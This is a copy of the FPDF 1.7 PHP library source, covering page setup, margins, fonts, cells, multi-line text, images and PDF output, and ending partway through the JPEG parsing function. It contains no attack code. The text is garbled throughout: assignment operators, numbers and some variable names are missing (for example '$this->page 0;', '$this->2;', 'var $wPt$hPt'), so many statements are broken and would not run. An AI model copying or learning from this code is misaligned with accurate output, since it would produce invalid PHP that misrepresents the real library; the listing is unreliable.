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<?php
/*******************************************************************************
* FPDF                                                                         *
*                                                                              *
* Version: 1.7                                                                 *
* Date:    2011-06-18                                                          *
* Author:  Olivier PLATHEY                                                     *
*******************************************************************************/

define('FPDF_VERSION','1.7');

class 
FPDF
{
var 
$page;               // current page number
var $n;                  // current object number
var $offsets;            // array of object offsets
var $buffer;             // buffer holding in-memory PDF
var $pages;              // array containing pages
var $state;              // current document state
var $compress;           // compression flag
var $k;                  // scale factor (number of points in user unit)
var $DefOrientation;     // default orientation
var $CurOrientation;     // current orientation
var $StdPageSizes;       // standard page sizes
var $DefPageSize;        // default page size
var $CurPageSize;        // current page size
var $PageSizes;          // used for pages with non default sizes or orientations
var $wPt$hPt;          // dimensions of current page in points
var $w$h;              // dimensions of current page in user unit
var $lMargin;            // left margin
var $tMargin;            // top margin
var $rMargin;            // right margin
var $bMargin;            // page break margin
var $cMargin;            // cell margin
var $x$y;              // current position in user unit
var $lasth;              // height of last printed cell
var $LineWidth;          // line width in user unit
var $fontpath;           // path containing fonts
var $CoreFonts;          // array of core font names
var $fonts;              // array of used fonts
var $FontFiles;          // array of font files
var $diffs;              // array of encoding differences
var $FontFamily;         // current font family
var $FontStyle;          // current font style
var $underline;          // underlining flag
var $CurrentFont;        // current font info
var $FontSizePt;         // current font size in points
var $FontSize;           // current font size in user unit
var $DrawColor;          // commands for drawing color
var $FillColor;          // commands for filling color
var $TextColor;          // commands for text color
var $ColorFlag;          // indicates whether fill and text colors are different
var $ws;                 // word spacing
var $images;             // array of used images
var $PageLinks;          // array of links in pages
var $links;              // array of internal links
var $AutoPageBreak;      // automatic page breaking
var $PageBreakTrigger;   // threshold used to trigger page breaks
var $InHeader;           // flag set when processing header
var $InFooter;           // flag set when processing footer
var $ZoomMode;           // zoom display mode
var $LayoutMode;         // layout display mode
var $title;              // title
var $subject;            // subject
var $author;             // author
var $keywords;           // keywords
var $creator;            // creator
var $AliasNbPages;       // alias for total number of pages
var $PDFVersion;         // PDF version number

/*******************************************************************************
*                                                                              *
*                               Public methods                                 *
*                                                                              *
*******************************************************************************/
function FPDF($orientation='P'$unit='mm'$size='A4')
{
    
// Some checks
    
$this->_dochecks();
    
// Initialization of properties
    
$this->page 0;
    
$this->2;
    
$this->buffer '';
    
$this->pages = array();
    
$this->PageSizes = array();
    
$this->state 0;
    
$this->fonts = array();
    
$this->FontFiles = array();
    
$this->diffs = array();
    
$this->images = array();
    
$this->links = array();
    
$this->InHeader false;
    
$this->InFooter false;
    
$this->lasth 0;
    
$this->FontFamily '';
    
$this->FontStyle '';
    
$this->FontSizePt 12;
    
$this->underline false;
    
$this->DrawColor '0 G';
    
$this->FillColor '0 g';
    
$this->TextColor '0 g';
    
$this->ColorFlag false;
    
$this->ws 0;
    
// Font path
    
if(defined('FPDF_FONTPATH'))
    {
        
$this->fontpath FPDF_FONTPATH;
        if(
substr($this->fontpath,-1)!='/' && substr($this->fontpath,-1)!='\\')
            
$this->fontpath .= '/';
    }
    elseif(
is_dir(dirname(__FILE__).'/font'))
        
$this->fontpath dirname(__FILE__).'/font/';
    else
        
$this->fontpath '';
    
// Core fonts
    
$this->CoreFonts = array('courier''helvetica''times''symbol''zapfdingbats');
    
// Scale factor
    
if($unit=='pt')
        
$this->1;
    elseif(
$unit=='mm')
        
$this->72/25.4;
    elseif(
$unit=='cm')
        
$this->72/2.54;
    elseif(
$unit=='in')
        
$this->72;
    else
        
$this->Error('Incorrect unit: '.$unit);
    
// Page sizes
    
$this->StdPageSizes = array('a3'=>array(841.89,1190.55), 'a4'=>array(595.28,841.89), 'a5'=>array(420.94,595.28),
        
'letter'=>array(612,792), 'legal'=>array(612,1008));
    
$size $this->_getpagesize($size);
    
$this->DefPageSize $size;
    
$this->CurPageSize $size;
    
// Page orientation
    
$orientation strtolower($orientation);
    if(
$orientation=='p' || $orientation=='portrait')
    {
        
$this->DefOrientation 'P';
        
$this->$size[0];
        
$this->$size[1];
    }
    elseif(
$orientation=='l' || $orientation=='landscape')
    {
        
$this->DefOrientation 'L';
        
$this->$size[1];
        
$this->$size[0];
    }
    else
        
$this->Error('Incorrect orientation: '.$orientation);
    
$this->CurOrientation $this->DefOrientation;
    
$this->wPt $this->w*$this->k;
    
$this->hPt $this->h*$this->k;
    
// Page margins (1 cm)
    
$margin 28.35/$this->k;
    
$this->SetMargins($margin,$margin);
    
// Interior cell margin (1 mm)
    
$this->cMargin $margin/10;
    
// Line width (0.2 mm)
    
$this->LineWidth .567/$this->k;
    
// Automatic page break
    
$this->SetAutoPageBreak(true,2*$margin);
    
// Default display mode
    
$this->SetDisplayMode('default');
    
// Enable compression
    
$this->SetCompression(true);
    
// Set default PDF version number
    
$this->PDFVersion '1.3';
}

function 
SetMargins($left$top$right=null)
{
    
// Set left, top and right margins
    
$this->lMargin $left;
    
$this->tMargin $top;
    if(
$right===null)
        
$right $left;
    
$this->rMargin $right;
}

function 
SetLeftMargin($margin)
{
    
// Set left margin
    
$this->lMargin $margin;
    if(
$this->page>&& $this->x<$margin)
        
$this->$margin;
}

function 
SetTopMargin($margin)
{
    
// Set top margin
    
$this->tMargin $margin;
}

function 
SetRightMargin($margin)
{
    
// Set right margin
    
$this->rMargin $margin;
}

function 
SetAutoPageBreak($auto$margin=0)
{
    
// Set auto page break mode and triggering margin
    
$this->AutoPageBreak $auto;
    
$this->bMargin $margin;
    
$this->PageBreakTrigger $this->h-$margin;
}

function 
SetDisplayMode($zoom$layout='default')
{
    
// Set display mode in viewer
    
if($zoom=='fullpage' || $zoom=='fullwidth' || $zoom=='real' || $zoom=='default' || !is_string($zoom))
        
$this->ZoomMode $zoom;
    else
        
$this->Error('Incorrect zoom display mode: '.$zoom);
    if(
$layout=='single' || $layout=='continuous' || $layout=='two' || $layout=='default')
        
$this->LayoutMode $layout;
    else
        
$this->Error('Incorrect layout display mode: '.$layout);
}

function 
SetCompression($compress)
{
    
// Set page compression
    
if(function_exists('gzcompress'))
        
$this->compress $compress;
    else
        
$this->compress false;
}

function 
SetTitle($title$isUTF8=false)
{
    
// Title of document
    
if($isUTF8)
        
$title $this->_UTF8toUTF16($title);
    
$this->title $title;
}

function 
SetSubject($subject$isUTF8=false)
{
    
// Subject of document
    
if($isUTF8)
        
$subject $this->_UTF8toUTF16($subject);
    
$this->subject $subject;
}

function 
SetAuthor($author$isUTF8=false)
{
    
// Author of document
    
if($isUTF8)
        
$author $this->_UTF8toUTF16($author);
    
$this->author $author;
}

function 
SetKeywords($keywords$isUTF8=false)
{
    
// Keywords of document
    
if($isUTF8)
        
$keywords $this->_UTF8toUTF16($keywords);
    
$this->keywords $keywords;
}

function 
SetCreator($creator$isUTF8=false)
{
    
// Creator of document
    
if($isUTF8)
        
$creator $this->_UTF8toUTF16($creator);
    
$this->creator $creator;
}

function 
AliasNbPages($alias='{nb}')
{
    
// Define an alias for total number of pages
    
$this->AliasNbPages $alias;
}

function 
Error($msg)
{
    
// Fatal error
    
die('<b>FPDF error:</b> '.$msg);
}

function 
Open()
{
    
// Begin document
    
$this->state 1;
}

function 
Close()
{
    
// Terminate document
    
if($this->state==3)
        return;
    if(
$this->page==0)
        
$this->AddPage();
    
// Page footer
    
$this->InFooter true;
    
$this->Footer();
    
$this->InFooter false;
    
// Close page
    
$this->_endpage();
    
// Close document
    
$this->_enddoc();
}

function 
AddPage($orientation=''$size='')
{
    
// Start a new page
    
if($this->state==0)
        
$this->Open();
    
$family $this->FontFamily;
    
$style $this->FontStyle.($this->underline 'U' '');
    
$fontsize $this->FontSizePt;
    
$lw $this->LineWidth;
    
$dc $this->DrawColor;
    
$fc $this->FillColor;
    
$tc $this->TextColor;
    
$cf $this->ColorFlag;
    if(
$this->page>0)
    {
        
// Page footer
        
$this->InFooter true;
        
$this->Footer();
        
$this->InFooter false;
        
// Close page
        
$this->_endpage();
    }
    
// Start new page
    
$this->_beginpage($orientation,$size);
    
// Set line cap style to square
    
$this->_out('2 J');
    
// Set line width
    
$this->LineWidth $lw;
    
$this->_out(sprintf('%.2F w',$lw*$this->k));
    
// Set font
    
if($family)
        
$this->SetFont($family,$style,$fontsize);
    
// Set colors
    
$this->DrawColor $dc;
    if(
$dc!='0 G')
        
$this->_out($dc);
    
$this->FillColor $fc;
    if(
$fc!='0 g')
        
$this->_out($fc);
    
$this->TextColor $tc;
    
$this->ColorFlag $cf;
    
// Page header
    
$this->InHeader true;
    
$this->Header();
    
$this->InHeader false;
    
// Restore line width
    
if($this->LineWidth!=$lw)
    {
        
$this->LineWidth $lw;
        
$this->_out(sprintf('%.2F w',$lw*$this->k));
    }
    
// Restore font
    
if($family)
        
$this->SetFont($family,$style,$fontsize);
    
// Restore colors
    
if($this->DrawColor!=$dc)
    {
        
$this->DrawColor $dc;
        
$this->_out($dc);
    }
    if(
$this->FillColor!=$fc)
    {
        
$this->FillColor $fc;
        
$this->_out($fc);
    }
    
$this->TextColor $tc;
    
$this->ColorFlag $cf;
}

function 
Header()
{
    
// To be implemented in your own inherited class
}

function 
Footer()
{
    
// To be implemented in your own inherited class
}

function 
PageNo()
{
    
// Get current page number
    
return $this->page;
}

function 
SetDrawColor($r$g=null$b=null)
{
    
// Set color for all stroking operations
    
if(($r==&& $g==&& $b==0) || $g===null)
        
$this->DrawColor sprintf('%.3F G',$r/255);
    else
        
$this->DrawColor sprintf('%.3F %.3F %.3F RG',$r/255,$g/255,$b/255);
    if(
$this->page>0)
        
$this->_out($this->DrawColor);
}

function 
SetFillColor($r$g=null$b=null)
{
    
// Set color for all filling operations
    
if(($r==&& $g==&& $b==0) || $g===null)
        
$this->FillColor sprintf('%.3F g',$r/255);
    else
        
$this->FillColor sprintf('%.3F %.3F %.3F rg',$r/255,$g/255,$b/255);
    
$this->ColorFlag = ($this->FillColor!=$this->TextColor);
    if(
$this->page>0)
        
$this->_out($this->FillColor);
}

function 
SetTextColor($r$g=null$b=null)
{
    
// Set color for text
    
if(($r==&& $g==&& $b==0) || $g===null)
        
$this->TextColor sprintf('%.3F g',$r/255);
    else
        
$this->TextColor sprintf('%.3F %.3F %.3F rg',$r/255,$g/255,$b/255);
    
$this->ColorFlag = ($this->FillColor!=$this->TextColor);
}

function 
GetStringWidth($s)
{
    
// Get width of a string in the current font
    
$s = (string)$s;
    
$cw = &$this->CurrentFont['cw'];
    
$w 0;
    
$l strlen($s);
    for(
$i=0;$i<$l;$i++)
        
$w += $cw[$s[$i]];
    return 
$w*$this->FontSize/1000;
}

function 
SetLineWidth($width)
{
    
// Set line width
    
$this->LineWidth $width;
    if(
$this->page>0)
        
$this->_out(sprintf('%.2F w',$width*$this->k));
}

function 
Line($x1$y1$x2$y2)
{
    
// Draw a line
    
$this->_out(sprintf('%.2F %.2F m %.2F %.2F l S',$x1*$this->k,($this->h-$y1)*$this->k,$x2*$this->k,($this->h-$y2)*$this->k));
}

function 
Rect($x$y$w$h$style='')
{
    
// Draw a rectangle
    
if($style=='F')
        
$op 'f';
    elseif(
$style=='FD' || $style=='DF')
        
$op 'B';
    else
        
$op 'S';
    
$this->_out(sprintf('%.2F %.2F %.2F %.2F re %s',$x*$this->k,($this->h-$y)*$this->k,$w*$this->k,-$h*$this->k,$op));
}

function 
AddFont($family$style=''$file='')
{
    
// Add a TrueType, OpenType or Type1 font
    
$family strtolower($family);
    if(
$file=='')
        
$file str_replace(' ','',$family).strtolower($style).'.php';
    
$style strtoupper($style);
    if(
$style=='IB')
        
$style 'BI';
    
$fontkey $family.$style;
    if(isset(
$this->fonts[$fontkey]))
        return;
    
$info $this->_loadfont($file);
    
$info['i'] = count($this->fonts)+1;
    if(!empty(
$info['diff']))
    {
        
// Search existing encodings
        
$n array_search($info['diff'],$this->diffs);
        if(!
$n)
        {
            
$n count($this->diffs)+1;
            
$this->diffs[$n] = $info['diff'];
        }
        
$info['diffn'] = $n;
    }
    if(!empty(
$info['file']))
    {
        
// Embedded font
        
if($info['type']=='TrueType')
            
$this->FontFiles[$info['file']] = array('length1'=>$info['originalsize']);
        else
            
$this->FontFiles[$info['file']] = array('length1'=>$info['size1'], 'length2'=>$info['size2']);
    }
    
$this->fonts[$fontkey] = $info;
}

function 
SetFont($family$style=''$size=0)
{
    
// Select a font; size given in points
    
if($family=='')
        
$family $this->FontFamily;
    else
        
$family strtolower($family);
    
$style strtoupper($style);
    if(
strpos($style,'U')!==false)
    {
        
$this->underline true;
        
$style str_replace('U','',$style);
    }
    else
        
$this->underline false;
    if(
$style=='IB')
        
$style 'BI';
    if(
$size==0)
        
$size $this->FontSizePt;
    
// Test if font is already selected
    
if($this->FontFamily==$family && $this->FontStyle==$style && $this->FontSizePt==$size)
        return;
    
// Test if font is already loaded
    
$fontkey $family.$style;
    if(!isset(
$this->fonts[$fontkey]))
    {
        
// Test if one of the core fonts
        
if($family=='arial')
            
$family 'helvetica';
        if(
in_array($family,$this->CoreFonts))
        {
            if(
$family=='symbol' || $family=='zapfdingbats')
                
$style '';
            
$fontkey $family.$style;
            if(!isset(
$this->fonts[$fontkey]))
                
$this->AddFont($family,$style);
        }
        else
            
$this->Error('Undefined font: '.$family.' '.$style);
    }
    
// Select it
    
$this->FontFamily $family;
    
$this->FontStyle $style;
    
$this->FontSizePt $size;
    
$this->FontSize $size/$this->k;
    
$this->CurrentFont = &$this->fonts[$fontkey];
    if(
$this->page>0)
        
$this->_out(sprintf('BT /F%d %.2F Tf ET',$this->CurrentFont['i'],$this->FontSizePt));
}

function 
SetFontSize($size)
{
    
// Set font size in points
    
if($this->FontSizePt==$size)
        return;
    
$this->FontSizePt $size;
    
$this->FontSize $size/$this->k;
    if(
$this->page>0)
        
$this->_out(sprintf('BT /F%d %.2F Tf ET',$this->CurrentFont['i'],$this->FontSizePt));
}

function 
AddLink()
{
    
// Create a new internal link
    
$n count($this->links)+1;
    
$this->links[$n] = array(00);
    return 
$n;
}

function 
SetLink($link$y=0$page=-1)
{
    
// Set destination of internal link
    
if($y==-1)
        
$y $this->y;
    if(
$page==-1)
        
$page $this->page;
    
$this->links[$link] = array($page$y);
}

function 
Link($x$y$w$h$link)
{
    
// Put a link on the page
    
$this->PageLinks[$this->page][] = array($x*$this->k$this->hPt-$y*$this->k$w*$this->k$h*$this->k$link);
}

function 
Text($x$y$txt)
{
    
// Output a string
    
$s sprintf('BT %.2F %.2F Td (%s) Tj ET',$x*$this->k,($this->h-$y)*$this->k,$this->_escape($txt));
    if(
$this->underline && $txt!='')
        
$s .= ' '.$this->_dounderline($x,$y,$txt);
    if(
$this->ColorFlag)
        
$s 'q '.$this->TextColor.' '.$s.' Q';
    
$this->_out($s);
}

function 
AcceptPageBreak()
{
    
// Accept automatic page break or not
    
return $this->AutoPageBreak;
}

function 
Cell($w$h=0$txt=''$border=0$ln=0$align=''$fill=false$link='')
{
    
// Output a cell
    
$k $this->k;
    if(
$this->y+$h>$this->PageBreakTrigger && !$this->InHeader && !$this->InFooter && $this->AcceptPageBreak())
    {
        
// Automatic page break
        
$x $this->x;
        
$ws $this->ws;
        if(
$ws>0)
        {
            
$this->ws 0;
            
$this->_out('0 Tw');
        }
        
$this->AddPage($this->CurOrientation,$this->CurPageSize);
        
$this->$x;
        if(
$ws>0)
        {
            
$this->ws $ws;
            
$this->_out(sprintf('%.3F Tw',$ws*$k));
        }
    }
    if(
$w==0)
        
$w $this->w-$this->rMargin-$this->x;
    
$s '';
    if(
$fill || $border==1)
    {
        if(
$fill)
            
$op = ($border==1) ? 'B' 'f';
        else
            
$op 'S';
        
$s sprintf('%.2F %.2F %.2F %.2F re %s ',$this->x*$k,($this->h-$this->y)*$k,$w*$k,-$h*$k,$op);
    }
    if(
is_string($border))
    {
        
$x $this->x;
        
$y $this->y;
        if(
strpos($border,'L')!==false)
            
$s .= sprintf('%.2F %.2F m %.2F %.2F l S ',$x*$k,($this->h-$y)*$k,$x*$k,($this->h-($y+$h))*$k);
        if(
strpos($border,'T')!==false)
            
$s .= sprintf('%.2F %.2F m %.2F %.2F l S ',$x*$k,($this->h-$y)*$k,($x+$w)*$k,($this->h-$y)*$k);
        if(
strpos($border,'R')!==false)
            
$s .= sprintf('%.2F %.2F m %.2F %.2F l S ',($x+$w)*$k,($this->h-$y)*$k,($x+$w)*$k,($this->h-($y+$h))*$k);
        if(
strpos($border,'B')!==false)
            
$s .= sprintf('%.2F %.2F m %.2F %.2F l S ',$x*$k,($this->h-($y+$h))*$k,($x+$w)*$k,($this->h-($y+$h))*$k);
    }
    if(
$txt!=='')
    {
        if(
$align=='R')
            
$dx $w-$this->cMargin-$this->GetStringWidth($txt);
        elseif(
$align=='C')
            
$dx = ($w-$this->GetStringWidth($txt))/2;
        else
            
$dx $this->cMargin;
        if(
$this->ColorFlag)
            
$s .= 'q '.$this->TextColor.' ';
        
$txt2 str_replace(')','\\)',str_replace('(','\\(',str_replace('\\','\\\\',$txt)));
        
$s .= sprintf('BT %.2F %.2F Td (%s) Tj ET',($this->x+$dx)*$k,($this->h-($this->y+.5*$h+.3*$this->FontSize))*$k,$txt2);
        if(
$this->underline)
            
$s .= ' '.$this->_dounderline($this->x+$dx,$this->y+.5*$h+.3*$this->FontSize,$txt);
        if(
$this->ColorFlag)
            
$s .= ' Q';
        if(
$link)
            
$this->Link($this->x+$dx,$this->y+.5*$h-.5*$this->FontSize,$this->GetStringWidth($txt),$this->FontSize,$link);
    }
    if(
$s)
        
$this->_out($s);
    
$this->lasth $h;
    if(
$ln>0)
    {
        
// Go to next line
        
$this->+= $h;
        if(
$ln==1)
            
$this->$this->lMargin;
    }
    else
        
$this->+= $w;
}

function 
MultiCell($w$h$txt$border=0$align='J'$fill=false)
{
    
// Output text with automatic or explicit line breaks
    
$cw = &$this->CurrentFont['cw'];
    if(
$w==0)
        
$w $this->w-$this->rMargin-$this->x;
    
$wmax = ($w-2*$this->cMargin)*1000/$this->FontSize;
    
$s str_replace("\r",'',$txt);
    
$nb strlen($s);
    if(
$nb>&& $s[$nb-1]=="\n")
        
$nb--;
    
$b 0;
    if(
$border)
    {
        if(
$border==1)
        {
            
$border 'LTRB';
            
$b 'LRT';
            
$b2 'LR';
        }
        else
        {
            
$b2 '';
            if(
strpos($border,'L')!==false)
                
$b2 .= 'L';
            if(
strpos($border,'R')!==false)
                
$b2 .= 'R';
            
$b = (strpos($border,'T')!==false) ? $b2.'T' $b2;
        }
    }
    
$sep = -1;
    
$i 0;
    
$j 0;
    
$l 0;
    
$ns 0;
    
$nl 1;
    while(
$i<$nb)
    {
        
// Get next character
        
$c $s[$i];
        if(
$c=="\n")
        {
            
// Explicit line break
            
if($this->ws>0)
            {
                
$this->ws 0;
                
$this->_out('0 Tw');
            }
            
$this->Cell($w,$h,substr($s,$j,$i-$j),$b,2,$align,$fill);
            
$i++;
            
$sep = -1;
            
$j $i;
            
$l 0;
            
$ns 0;
            
$nl++;
            if(
$border && $nl==2)
                
$b $b2;
            continue;
        }
        if(
$c==' ')
        {
            
$sep $i;
            
$ls $l;
            
$ns++;
        }
        
$l += $cw[$c];
        if(
$l>$wmax)
        {
            
// Automatic line break
            
if($sep==-1)
            {
                if(
$i==$j)
                    
$i++;
                if(
$this->ws>0)
                {
                    
$this->ws 0;
                    
$this->_out('0 Tw');
                }
                
$this->Cell($w,$h,substr($s,$j,$i-$j),$b,2,$align,$fill);
            }
            else
            {
                if(
$align=='J')
                {
                    
$this->ws = ($ns>1) ? ($wmax-$ls)/1000*$this->FontSize/($ns-1) : 0;
                    
$this->_out(sprintf('%.3F Tw',$this->ws*$this->k));
                }
                
$this->Cell($w,$h,substr($s,$j,$sep-$j),$b,2,$align,$fill);
                
$i $sep+1;
            }
            
$sep = -1;
            
$j $i;
            
$l 0;
            
$ns 0;
            
$nl++;
            if(
$border && $nl==2)
                
$b $b2;
        }
        else
            
$i++;
    }
    
// Last chunk
    
if($this->ws>0)
    {
        
$this->ws 0;
        
$this->_out('0 Tw');
    }
    if(
$border && strpos($border,'B')!==false)
        
$b .= 'B';
    
$this->Cell($w,$h,substr($s,$j,$i-$j),$b,2,$align,$fill);
    
$this->$this->lMargin;
}

function 
Write($h$txt$link='')
{
    
// Output text in flowing mode
    
$cw = &$this->CurrentFont['cw'];
    
$w $this->w-$this->rMargin-$this->x;
    
$wmax = ($w-2*$this->cMargin)*1000/$this->FontSize;
    
$s str_replace("\r",'',$txt);
    
$nb strlen($s);
    
$sep = -1;
    
$i 0;
    
$j 0;
    
$l 0;
    
$nl 1;
    while(
$i<$nb)
    {
        
// Get next character
        
$c $s[$i];
        if(
$c=="\n")
        {
            
// Explicit line break
            
$this->Cell($w,$h,substr($s,$j,$i-$j),0,2,'',0,$link);
            
$i++;
            
$sep = -1;
            
$j $i;
            
$l 0;
            if(
$nl==1)
            {
                
$this->$this->lMargin;
                
$w $this->w-$this->rMargin-$this->x;
                
$wmax = ($w-2*$this->cMargin)*1000/$this->FontSize;
            }
            
$nl++;
            continue;
        }
        if(
$c==' ')
            
$sep $i;
        
$l += $cw[$c];
        if(
$l>$wmax)
        {
            
// Automatic line break
            
if($sep==-1)
            {
                if(
$this->x>$this->lMargin)
                {
                    
// Move to next line
                    
$this->$this->lMargin;
                    
$this->+= $h;
                    
$w $this->w-$this->rMargin-$this->x;
                    
$wmax = ($w-2*$this->cMargin)*1000/$this->FontSize;
                    
$i++;
                    
$nl++;
                    continue;
                }
                if(
$i==$j)
                    
$i++;
                
$this->Cell($w,$h,substr($s,$j,$i-$j),0,2,'',0,$link);
            }
            else
            {
                
$this->Cell($w,$h,substr($s,$j,$sep-$j),0,2,'',0,$link);
                
$i $sep+1;
            }
            
$sep = -1;
            
$j $i;
            
$l 0;
            if(
$nl==1)
            {
                
$this->$this->lMargin;
                
$w $this->w-$this->rMargin-$this->x;
                
$wmax = ($w-2*$this->cMargin)*1000/$this->FontSize;
            }
            
$nl++;
        }
        else
            
$i++;
    }
    
// Last chunk
    
if($i!=$j)
        
$this->Cell($l/1000*$this->FontSize,$h,substr($s,$j),0,0,'',0,$link);
}

function 
Ln($h=null)
{
    
// Line feed; default value is last cell height
    
$this->$this->lMargin;
    if(
$h===null)
        
$this->+= $this->lasth;
    else
        
$this->+= $h;
}

function 
Image($file$x=null$y=null$w=0$h=0$type=''$link='')
{
    
// Put an image on the page
    
if(!isset($this->images[$file]))
    {
        
// First use of this image, get info
        
if($type=='')
        {
            
$pos strrpos($file,'.');
            if(!
$pos)
                
$this->Error('Image file has no extension and no type was specified: '.$file);
            
$type substr($file,$pos+1);
        }
        
$type strtolower($type);
        if(
$type=='jpeg')
            
$type 'jpg';
        
$mtd '_parse'.$type;
        if(!
method_exists($this,$mtd))
            
$this->Error('Unsupported image type: '.$type);
        
$info $this->$mtd($file);
        
$info['i'] = count($this->images)+1;
        
$this->images[$file] = $info;
    }
    else
        
$info $this->images[$file];

    
// Automatic width and height calculation if needed
    
if($w==&& $h==0)
    {
        
// Put image at 96 dpi
        
$w = -96;
        
$h = -96;
    }
    if(
$w<0)
        
$w = -$info['w']*72/$w/$this->k;
    if(
$h<0)
        
$h = -$info['h']*72/$h/$this->k;
    if(
$w==0)
        
$w $h*$info['w']/$info['h'];
    if(
$h==0)
        
$h $w*$info['h']/$info['w'];

    
// Flowing mode
    
if($y===null)
    {
        if(
$this->y+$h>$this->PageBreakTrigger && !$this->InHeader && !$this->InFooter && $this->AcceptPageBreak())
        {
            
// Automatic page break
            
$x2 $this->x;
            
$this->AddPage($this->CurOrientation,$this->CurPageSize);
            
$this->$x2;
        }
        
$y $this->y;
        
$this->+= $h;
    }

    if(
$x===null)
        
$x $this->x;
    
$this->_out(sprintf('q %.2F 0 0 %.2F %.2F %.2F cm /I%d Do Q',$w*$this->k,$h*$this->k,$x*$this->k,($this->h-($y+$h))*$this->k,$info['i']));
    if(
$link)
        
$this->Link($x,$y,$w,$h,$link);
}

function 
GetX()
{
    
// Get x position
    
return $this->x;
}

function 
SetX($x)
{
    
// Set x position
    
if($x>=0)
        
$this->$x;
    else
        
$this->$this->w+$x;
}

function 
GetY()
{
    
// Get y position
    
return $this->y;
}

function 
SetY($y)
{
    
// Set y position and reset x
    
$this->$this->lMargin;
    if(
$y>=0)
        
$this->$y;
    else
        
$this->$this->h+$y;
}

function 
SetXY($x$y)
{
    
// Set x and y positions
    
$this->SetY($y);
    
$this->SetX($x);
}

function 
Output($name=''$dest='')
{
    
// Output PDF to some destination
    
if($this->state<3)
        
$this->Close();
    
$dest strtoupper($dest);
    if(
$dest=='')
    {
        if(
$name=='')
        {
            
$name 'doc.pdf';
            
$dest 'I';
        }
        else
            
$dest 'F';
    }
    switch(
$dest)
    {
        case 
'I':
            
// Send to standard output
            
$this->_checkoutput();
            if(
PHP_SAPI!='cli')
            {
                
// We send to a browser
                
header('Content-Type: application/pdf');
                
header('Content-Disposition: inline; filename="'.$name.'"');
                
header('Cache-Control: private, max-age=0, must-revalidate');
                
header('Pragma: public');
            }
            echo 
$this->buffer;
            break;
        case 
'D':
            
// Download file
            
$this->_checkoutput();
            
header('Content-Type: application/x-download');
            
header('Content-Disposition: attachment; filename="'.$name.'"');
            
header('Cache-Control: private, max-age=0, must-revalidate');
            
header('Pragma: public');
            echo 
$this->buffer;
            break;
        case 
'F':
            
// Save to local file
            
$f fopen($name,'wb');
            if(!
$f)
                
$this->Error('Unable to create output file: '.$name);
            
fwrite($f,$this->buffer,strlen($this->buffer));
            
fclose($f);
            break;
        case 
'S':
            
// Return as a string
            
return $this->buffer;
        default:
            
$this->Error('Incorrect output destination: '.$dest);
    }
    return 
'';
}

/*******************************************************************************
*                                                                              *
*                              Protected methods                               *
*                                                                              *
*******************************************************************************/
function _dochecks()
{
    
// Check availability of %F
    
if(sprintf('%.1F',1.0)!='1.0')
        
$this->Error('This version of PHP is not supported');
    
// Check mbstring overloading
    
if(ini_get('mbstring.func_overload') & 2)
        
$this->Error('mbstring overloading must be disabled');
    
// Ensure runtime magic quotes are disabled
    
if(get_magic_quotes_runtime())
        @
set_magic_quotes_runtime(0);
}

function 
_checkoutput()
{
    if(
PHP_SAPI!='cli')
    {
        if(
headers_sent($file,$line))
            
$this->Error("Some data has already been output, can't send PDF file (output started at $file:$line)");
    }
    if(
ob_get_length())
    {
        
// The output buffer is not empty
        
if(preg_match('/^(\xEF\xBB\xBF)?\s*$/',ob_get_contents()))
        {
            
// It contains only a UTF-8 BOM and/or whitespace, let's clean it
            
ob_clean();
        }
        else
            
$this->Error("Some data has already been output, can't send PDF file");
    }
}

function 
_getpagesize($size)
{
    if(
is_string($size))
    {
        
$size strtolower($size);
        if(!isset(
$this->StdPageSizes[$size]))
            
$this->Error('Unknown page size: '.$size);
        
$a $this->StdPageSizes[$size];
        return array(
$a[0]/$this->k$a[1]/$this->k);
    }
    else
    {
        if(
$size[0]>$size[1])
            return array(
$size[1], $size[0]);
        else
            return 
$size;
    }
}

function 
_beginpage($orientation$size)
{
    
$this->page++;
    
$this->pages[$this->page] = '';
    
$this->state 2;
    
$this->$this->lMargin;
    
$this->$this->tMargin;
    
$this->FontFamily '';
    
// Check page size and orientation
    
if($orientation=='')
        
$orientation $this->DefOrientation;
    else
        
$orientation strtoupper($orientation[0]);
    if(
$size=='')
        
$size $this->DefPageSize;
    else
        
$size $this->_getpagesize($size);
    if(
$orientation!=$this->CurOrientation || $size[0]!=$this->CurPageSize[0] || $size[1]!=$this->CurPageSize[1])
    {
        
// New size or orientation
        
if($orientation=='P')
        {
            
$this->$size[0];
            
$this->$size[1];
        }
        else
        {
            
$this->$size[1];
            
$this->$size[0];
        }
        
$this->wPt $this->w*$this->k;
        
$this->hPt $this->h*$this->k;
        
$this->PageBreakTrigger $this->h-$this->bMargin;
        
$this->CurOrientation $orientation;
        
$this->CurPageSize $size;
    }
    if(
$orientation!=$this->DefOrientation || $size[0]!=$this->DefPageSize[0] || $size[1]!=$this->DefPageSize[1])
        
$this->PageSizes[$this->page] = array($this->wPt$this->hPt);
}

function 
_endpage()
{
    
$this->state 1;
}

function 
_loadfont($font)
{
    
// Load a font definition file from the font directory
    
include($this->fontpath.$font);
    
$a get_defined_vars();
    if(!isset(
$a['name']))
        
$this->Error('Could not include font definition file');
    return 
$a;
}

function 
_escape($s)
{
    
// Escape special characters in strings
    
$s str_replace('\\','\\\\',$s);
    
$s str_replace('(','\\(',$s);
    
$s str_replace(')','\\)',$s);
    
$s str_replace("\r",'\\r',$s);
    return 
$s;
}

function 
_textstring($s)
{
    
// Format a text string
    
return '('.$this->_escape($s).')';
}

function 
_UTF8toUTF16($s)
{
    
// Convert UTF-8 to UTF-16BE with BOM
    
$res "\xFE\xFF";
    
$nb strlen($s);
    
$i 0;
    while(
$i<$nb)
    {
        
$c1 ord($s[$i++]);
        if(
$c1>=224)
        {
            
// 3-byte character
            
$c2 ord($s[$i++]);
            
$c3 ord($s[$i++]);
            
$res .= chr((($c1 0x0F)<<4) + (($c2 0x3C)>>2));
            
$res .= chr((($c2 0x03)<<6) + ($c3 0x3F));
        }
        elseif(
$c1>=192)
        {
            
// 2-byte character
            
$c2 ord($s[$i++]);
            
$res .= chr(($c1 0x1C)>>2);
            
$res .= chr((($c1 0x03)<<6) + ($c2 0x3F));
        }
        else
        {
            
// Single-byte character
            
$res .= "\0".chr($c1);
        }
    }
    return 
$res;
}

function 
_dounderline($x$y$txt)
{
    
// Underline text
    
$up $this->CurrentFont['up'];
    
$ut $this->CurrentFont['ut'];
    
$w $this->GetStringWidth($txt)+$this->ws*substr_count($txt,' ');
    return 
sprintf('%.2F %.2F %.2F %.2F re f',$x*$this->k,($this->h-($y-$up/1000*$this->FontSize))*$this->k,$w*$this->k,-$ut/1000*$this->FontSizePt);
}

function 
_parsejpg($file)
{
    
// Extract info from a JPEG file
    
$a getimagesize($file);
    if(!
$a)
        
$this->Error('Missing or incorrect image file: '.$file);
    if(
$a[2]!=2)
        
